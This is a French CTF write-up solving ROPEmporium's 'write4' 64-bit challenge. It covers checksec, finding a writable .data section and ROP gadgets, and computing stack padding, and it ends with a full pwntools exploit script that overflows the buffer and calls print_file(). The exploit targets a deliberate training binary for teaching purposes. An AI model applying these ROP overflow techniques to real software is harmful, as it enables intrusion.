Note

Quatrième exo de ROPEmporium, il introduit une nouvelle méchanique et nous pousse à utiliser un nouveau type de gadget, très intéressant

Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.

Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.

Description

On completing our usual checks for interesting strings and symbols in this binary we're confronted with the stark truth that our favourite string "/bin/cat flag.txt" is not present this time. 
Although you'll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we'll stick to the challenge goal which is learning how to get data into the target process's virtual address space via the magic of ROP.

Important!
A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like "flag.txt") as the 1st argument. 

File information

Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les éventuelles sécuritées avec lesquelles il a été compilé

file write4

write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped

On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé

Maintenant le checksec

checksec write4

[*] '/home/conflict/ropemporium/write4_x64/write4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire

Exploitation

On va le lancer pour voir ce qu’il fait concrètement:

2023-01-21-151701_1046x476_scrot

On voit que si on entre un nombre élevé de bytes dans l’input le programme plante (segfault), ce qui veut dire qu’on a commencé à overwrite des registres.

Cette fois pas besoin de désassembler les fonctions puisqu’on sait exactement ce qu’il faut faire, on peut commencer à ressembler les élements nécessaires pour construire notre payload.

Commençons par regarder les sections de l’executable pour en trouver une dans laquelle on va pouvoir écrire:

readelf -S write4                                                                  
There are 29 section headers, starting at offset 0x1980:

Section Headers:
<...>
  [23] .data             PROGBITS         0000000000601028  00001028
       0000000000000010  0000000000000000  WA       0     0     8
<...>

On voit que .data a les flags W et A qui correspondent à WRITE et ALLOCATE donc on pourra écrire dans cette sections, gardons son adresse de côté (0x00601028)

Maintenant qu’on sait on va écrire, il faut savoir comment on va le faire. Pour cela, on va avoir besoin de deux gadgets:

  • Le premier gadget devra pop deux registres
  • Le second devra mettre la valeur de l’un dans le pointeur de l’autre

Concrètement, l’idée va être de mettre dans un premier registre l’adresse de .data et dans un deuxième notre string "/bin/cat flag.txt" . Ensuite, l’idée sera de mettre le string dans le pointeur du premier registre, soit dans la section .data. Si c’est un peu flou pour l’instant, vous devriez mieux comprendre avec le code.

Regardons les gadgets présents dans le binaire avec ROPgadget:

Tout d’abord, les pop gadgets:

ROPgadget --binary write4 | grep ": pop"
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

On voit un pop r14 ; pop r15 ; ret à l’adresse 0x00400690, exactement ce qu’il nous faut

Maintenant il faut espérer qu’il existe un gadget mov avec ces deux registres, et sans trop de contrainte

ROPgadget --binary write4 | grep ": mov"
0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590

On voit un mov qword ptr [r14], r15 ; ret à l’adresse 0x00400628, encore une fois exactement ce qu’il nous faut.

L’instruction mov déplace le cotenu du second registre dans le premier, en l’occurence ici, il déplace la valeur de r15 dans l’adresse dans r14 (grâce au qword ptr)

Mais il nous manque encore un gadget! Si on regarde attentivement la description du challenge, on voit qu’il existe un fonction print_file() qui prend en argument le nom d’un fichier. Le string qu’on va écrire dans .data va donc être flag.txt et plus "/bin/cat flag.txt".

Rappel: En 64bit, les fonctions prennent leurs arguments dans les registres rdi, rsi, rdx, rcx… (vous pouvez trouver la liste des registres ici). Donc, en modifiant rdi et en plaçant l’adresse de .data dedans, la fonction print_file() prendra notre string en premier argument

Nous avons donc besoin d’un pop rdi !

ROPgadget --binary write4 | grep "pop rdi ; ret"
0x0000000000400693 : pop rdi ; ret 

Parfait, il nous faut maintenant deux dernières choses: l’adresse de la fonction print_file() et le padding nécessaire pour réecrire la sauvegarde de rip.

Puisque PIE n’est pas activé, on peut trouver statiquement l’adresse de print_file, si il était activé, nous aurions dû le contourner, par exemple en trouvant la base address de l’executable

Commençons par trouver l’adresse de print_file() avec pwndbg:

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x00000000004004d0  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  usefulGadgets
0x0000000000400630  __libc_csu_init
0x00000000004006a0  __libc_csu_fini
0x00000000004006a4  _fini

Nickel, maintenant le padding:

pwndbg> disass pwnme
Dump of assembler code for function pwnme:
   0x00007ffff7c008aa <+0>: push   rbp
   0x00007ffff7c008ab <+1>: mov    rbp,rsp
   0x00007ffff7c008ae <+4>: sub    rsp,0x20
   0x00007ffff7c008b2 <+8>: mov    rax,QWORD PTR [rip+0x200727]        # 0x7ffff7e00fe0
   0x00007ffff7c008b9 <+15>:    mov    rax,QWORD PTR [rax]
   0x00007ffff7c008bc <+18>:    mov    ecx,0x0
   0x00007ffff7c008c1 <+23>:    mov    edx,0x2
   0x00007ffff7c008c6 <+28>:    mov    esi,0x0
   0x00007ffff7c008cb <+33>:    mov    rdi,rax
   0x00007ffff7c008ce <+36>:    call   0x7ffff7c00790 <setvbuf@plt>
   0x00007ffff7c008d3 <+41>:    lea    rdi,[rip+0x106]        # 0x7ffff7c009e0
   0x00007ffff7c008da <+48>:    call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008df <+53>:    lea    rdi,[rip+0x111]        # 0x7ffff7c009f7
   0x00007ffff7c008e6 <+60>:    call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c008eb <+65>:    lea    rax,[rbp-0x20]
   0x00007ffff7c008ef <+69>:    mov    edx,0x20
   0x00007ffff7c008f4 <+74>:    mov    esi,0x0
   0x00007ffff7c008f9 <+79>:    mov    rdi,rax
   0x00007ffff7c008fc <+82>:    call   0x7ffff7c00760 <memset@plt>
   0x00007ffff7c00901 <+87>:    lea    rdi,[rip+0xf8]        # 0x7ffff7c00a00
   0x00007ffff7c00908 <+94>:    call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c0090d <+99>:    lea    rdi,[rip+0x115]        # 0x7ffff7c00a29
   0x00007ffff7c00914 <+106>:   mov    eax,0x0
=> 0x00007ffff7c00919 <+111>:   call   0x7ffff7c00750 <printf@plt>
   0x00007ffff7c0091e <+116>:   lea    rax,[rbp-0x20]
   0x00007ffff7c00922 <+120>:   mov    edx,0x200
   0x00007ffff7c00927 <+125>:   mov    rsi,rax
   0x00007ffff7c0092a <+128>:   mov    edi,0x0
   0x00007ffff7c0092f <+133>:   call   0x7ffff7c00770 <read@plt>
   0x00007ffff7c00934 <+138>:   lea    rdi,[rip+0xf1]        # 0x7ffff7c00a2c
   0x00007ffff7c0093b <+145>:   call   0x7ffff7c00730 <puts@plt>
   0x00007ffff7c00940 <+150>:   nop
   0x00007ffff7c00941 <+151>:   leave  
   0x00007ffff7c00942 <+152>:   ret    
End of assembler dump.

J’ai désassemblé la fonction en débuggant l’executable puisqu’elle était vide tant que le programme n’était pas lancé Pour reproduire ceci, mettez un breakpoint au début de la fonction puis avancez dans l’éxecution jusqu’au read, puis désassemblez pwnme

On voit que le buffer est situé à rbp-0x20 et que la fonction read va lire 0x200 bytes d’input, ce qui est largement assez. Pour réecrire la sauvegarde de rip, il nous faut 0x8 bytes de plus que le buffer, donc notre padding total sera de (0x20+0x8) bytes.

Puisque je suis toujours sous Ubuntu, on peut s’attendre à des problèmes de stack alignment donc je vais ajouter un ret juste après mon padding

Final Payload

Passons à l’exploit:

#!/usr/bin/env python3

from pwn import *

context.binary = binary = ELF("./write4")

p = process()

p.recv()

padding = b"A"*0x20
rbp = b"B"*0x8

ret = p64(0x004004e6)

pop_r14_r15 = p64(0x00400690)
data_section = p64(0x00601028)
string = b"flag.txt"

mov_ptr_r14_r15 = p64(0x00400628)

pop_rdi = p64(0x00400693)

print_file = p64(0x00400510)

payload = padding + rbp + ret

# On met l'adresse de la section .data dans r14 et notre "flag.txt" dans r15
payload += pop_r14_r15 + data_section + string 

# On met la valeur de r15 dans l'endroit vers lequel pointe le contenu de r14 (càd .data)
payload += mov_ptr_r14_r15

# On met l'adresse de notre string dans rdi puis on appelle la fonction print_file()
payload += pop_rdi + data_section + print_file

p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))

Puis on peut le tester pour s’assurer qu’il fonctionne:

2023-01-21-160402_1111x283_scrot

Parfait, on a le flag!